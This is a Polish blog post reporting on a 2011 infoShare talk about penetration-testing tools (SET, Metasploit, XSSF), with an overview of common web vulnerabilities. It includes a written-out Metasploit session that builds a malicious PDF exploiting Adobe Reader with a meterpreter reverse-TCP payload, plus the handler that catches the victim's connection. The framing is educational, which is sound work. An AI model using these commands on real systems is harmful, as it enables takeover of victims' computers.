Każdy z nas może być hakerem?

post_img

Jedną z najciekawszych prezentacji przedstawionych na tegorocznej konferencji infoShare była prezentacja „Narzędzia Hackerów” Piotra Koniecznego. Już sam temat wykładu wzbudził moje zainteresowanie i ciekawość, ale również podwyższył oczekiwania co do treści. Zainspirowany prezentacją, postanowiłem zgłębić swoją wiedzę na temat „Narzędzi Hackerów”, pod których hasłem – jak się okazało – ukrywały się narzędzia wykorzystywane  do przeprowadzania testów penetracyjnych.

Co to są testy penetracyjne?

Testy penetracyjne są to procesy mające na celu ocenę bezpieczeństwa systemu teleinformatycznego. Metody używane do przeprowadzania testów penetracyjnych wykorzystują techniki penetracji używane w realnych atakach.

Cele przeprowadzania testów penetracyjnych:

  1. wykrycie luk bezpieczeństwa w systemach teleinformatycznych;
  2. przedstawienie skutków wykorzystania znalezionych błędów przez hackerów;
  3. zaproponowanie rozwiązań poprawiających wykrytą lukę;
  4. określenie czasu potrzebnego na złamanie systemu zabezpieczeń.

Zalety przeprowadzania testów penetracyjnych:

  1. zapobieganie strat finansowych w wyniku oszustwa (hakerzy, szantażyści, niezadowoleni pracownicy);
  2. uniknięcie odpowiedzialności za utratę poufnych danych klientów;
  3. zapobieganie utraty zaufania konsumentów i reputacji firmy.

Rodzaje testów penetracyjnych:

  1. white Box – atakujący dysponuje pełną wiedzą na temat badanego systemu, jego architektury i zastosowanych technologiach (kody źródłowe, środowiska wykonania);
  2. grey Box – atakujący posiada szczątkową wiedzę na temat badanego systemu;
  3. black Box – atakujący nie posiada wiedzy na temat badanego systemu; ten rodzaj najbardziej odzwierciedla rzeczywistą wiedzę atakującego.

W przypadku, gdy posiadamy pełną wiedzę o systemie, powinniśmy zdecydować się na testy typu White Box. Ten rodzaj testów pozwoli nam na odnalezienie największej liczby luk w systemie w najkrótszym czasie. Ich wadą jest natomiast udostępnienie danych projektowych dla osób przeprowadzających testy.

Rodzaje błędów sprawdzanych podczas testów penetracyjnych:

  • SQL injection – luka zabezpieczeń aplikacji polegająca na braku lub nieodpowiednim filtrowaniu i wykonywaniu danych przesyłanych przez użytkownika w postaci zapytań SQL do bazy danych.
    Zagrożenia: zdalny dostęp do bazy danych, przejęcie kontroli nad bazą danych lub systemem operacyjnym.
  • Cross-site scriptin(XSS) – luka w systemie zabezpieczeń aplikacji internetowych umożliwiająca użytkownikowi osadzenie własnego kodu w treści atakowanej strony. Osadzony kod może doprowadzić do wykonania niepożądanych przez użytkownika operacji lub obejść kontrole dostępu do danych.
    Zagrożenia: dostęp do kont zalogowanych użytkowników, kontrola nad przeglądarką użytkownika, atak typu spoofing (phishing), przechwytywanie danych przeglądarki.
  • Remote File Inclusion (RFI) – luka występująca najczęściej na stronach internetowych, pozwalająca użytkownikowi na umieszczenie na serwerze pliku za pomocą skryptu na stronie. Luka spowodowana jest brakiem odpowiedniej kontroli nad wysyłanymi na serwer plikami. Wykorzystanie tej luki może doprowadzić do wykonania na serwerze kodu użytkownika, wykonanie kodu użytkownika po stronie innego użytkownika oraz kradzieży danych.
    Zagrożenia: przejęcie kontroli nad systemem.
  • Cross Site Request Forgeries (CSRF) – atak polegający na wykorzystaniu przeglądarki internetowej użytkownika (atakowanego) do wysyłania żądań http bez jego wiedzy. Celem atakującego jest wykorzystanie uprawnień ofiary do wykonania nieuprawnionej operacji.
    Zagrożenia: przejęcie kontroli nad przeglądarką użytkownika, dostęp do operacji wykonywanych przez uprawnione do serwisu osoby.
  • Denial of Service (DoS) – atak mający na celu uniemożliwienie użytkownikom skorzystania z zasobów lub usług systemu komputerowego.
    Zagrożenia: wyłączenie aplikacji, zablokowanie dostępu do aplikacji dla uprawnionych użytkowników.
  • Distributed Denial of Service (DDoS) – odmiana ataku DoS polegająca na jednoczesnym atakowaniu ofiary z wielu miejsc.
  • File Inclusion, Logic Flaws, Path Traversal, Insecure Communications , Malicious Code Execution i wiele innych.

Narzędzia do testów penetracyjnych

Social-Engineer Toolkit (SET)

Social-Engineer Toolkit (SET) jest to zbiór gotowych narzędzi do przeprowadzania socjotechnicznych testów penetracyjnych.

http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29

Możliwości programu

  1. Spear-phishing attack – metoda ataku z użyciem wiadomości e-mail.
    Moduł ten umożliwia przygotowanie wiadomości e-mail z dołączonym plikiem zawierającym szkodliwe oprogramowanie oraz przesłanie jej na e-mail ofiary.
  2. Website Attack Vectors – atak z wykorzystaniem przygotowanego linku.
    Możliwe rodzaje ataku:

    1. The Java Applet Attack Method
    2. The Metasploit Browser Exploit Method
    3. Credential Harvester Attack Method
    4. Tabnabbing Attack Method
    5. Man Left in the Middle Attack Method
    6. Web Jacking Attack Method
    7. Multi-Attack Web Method
  3. Infectious Media Generator – atak z wykorzystaniem pamięci przenośnych
    Kreator DVD/USB nagrywa na nośnik danych zainfekowany plik autorun.inf, który jest automatycznie uruchamiany podczas otwarcia pamięci.
  4. Create a Payload and Listener – atak z wykorzystaniem zainfekowanego pliku *.exe
    Narzędzie tworzy zainfekowany plik *.exe oraz uruchamia dedykowane nasłuchiwanie.
  5. Mass Mailer Attack – masowe wysyłanie wiadomości e-mail.
  6. Teensy USB HID Attack Vector – atak z wykorzystaniem ‚Teensy USB’.
    Atak wymaga zakupu urządzenia ‚Teensy USB’ i pozwala na zaprogramowanie urządzenia tak, aby wykonało atak na ofiarę i udawało klawiaturę.

Metasploit + XSSF

XSS Framework (XSSF) jest częścią Metasploit Framework. XSSF umożliwia zarządzanie ofiarami ataku XSS oraz podtrzymuje istniejące połączenie w celu późniejszego ataku. Po wstrzyknięciu do ofiary wygenerowanej przez XSSF pętli, każda ofiara odpytuje serwer i jeżeli dostępne są nowe komendy, wykonuje je.

Możliwości rozwiązania przedstawiają zamieszczone poniżej linki do wideo:
XSS Attacks: http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-1-video.aspx
XSS Tunnel: http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-2-video.aspx

Ataki przedstawione przez Piotra Koniecznego na konferencji „infoShare 2011”

Atak z wykorzystaniem narzędzia Metasploit – 0day PDF Exploit

0day PDF Exploit pozwala na przejęcie kontroli nad atakowanym komputerem, wykorzystując do tego celu lukę w aplikacji Adobe Acrobat Reader.
Luka została opisana na stronie http://niebezpiecznik.pl/post/nowy-exploit-na-adobe-acrobatreader/ .

Tworzenie pliku pdf:

msf exploit(adobe_cooltype_sing) > set filename plik.pdf
filename => plik.pdf
msf exploit(adobe_cooltype_sing) > set outputpath /Users/Dom
outputpath => /Users/Dom
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(adobe_cooltype_sing) > exploit
[*] Started reverse handler on 192.168.0.4:4444
[*] Creating 'plik.pdf' file...
[*] Generated output file /Users/Dom/plik.pdf
[*] Exploit completed, but no session was created.

Wygenerowany plik pdf wystarczy wysłać jako załącznik wiadomości e-mail lub udostępnić atakowanej osobie. Po otwarciu pliku pdf komputer osoby atakowanej nawiąże połączenie z naszym komputerem.

Odbiór połączeń:

msf exploit(adobe_cooltype_sing) > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...

Po nawiązaniu połączenia z ofiarą mamy pełną kontrolę nad jej systemem.

Atak z wykorzystaniem narzędzia SET

Na wykładzie zostały wykonane ataki metodą „Website Attack Vectors” oraz „Spear-Phishing Attack Vector”. Ataki zakończyły się powodzeniem oraz ukazały, jak łatwo wykorzystać narzędzie „SET” do przejęcia danych ofiary.

Podsumowanie

Zainteresowanie wykładem Piotra Koniecznego było niebezpodstawne. Wszystkie przedstawione przez autora problemy aplikacji i ich podatność na ataki okazały się nam bliższe niż moglibyśmy sądzić. Dostępność i prostota użycia profesjonalnych narzędzi do przeprowadzania testów penetracyjnych może sprawić, iż każdy z nas przez chwilę poczuje się jak haker. Wykonane przez Piotra Koniecznego testy wykazały 30% skuteczności ataków typu „Website Attack Vectors”. Uważam, że wykład „Narzędzia Hakerów” był najbardziej interesującym wykładem tego dnia konferencji. Zachęcam wszystkich do czytania bloga Piotra Koniecznego http://niebezpiecznik.pl/ .

Zasoby w sieci

  1. http://niebezpiecznik.pl/ – Strona Piotra Koniecznego
  2. http://infoshare.pl/2011-2/program/#d2_T7 – Strona Konferencji infoShare 2011
  3. http://www.metasploit.com – narzędzia Metasploit
  4. http://dev.metasploit.com/redmine/issues/2995 – Opis narzędzia Metasploit + XSSF
  5. http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29 – narzędzia SET

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Komentarz do “Każdy z nas może być hakerem?

  • Kacper

    Widziałem tę prezentację i również wiele ciekawych informacji z niej wyniosłem. W moim odczuciu, przy tak mnogiej ilości zagrożeń i ataków chyba nikt nie może czuć się w 100% bezpieczny. Ostatnio został złamany SSL także dochodzi kolejny element, na który należy uważać.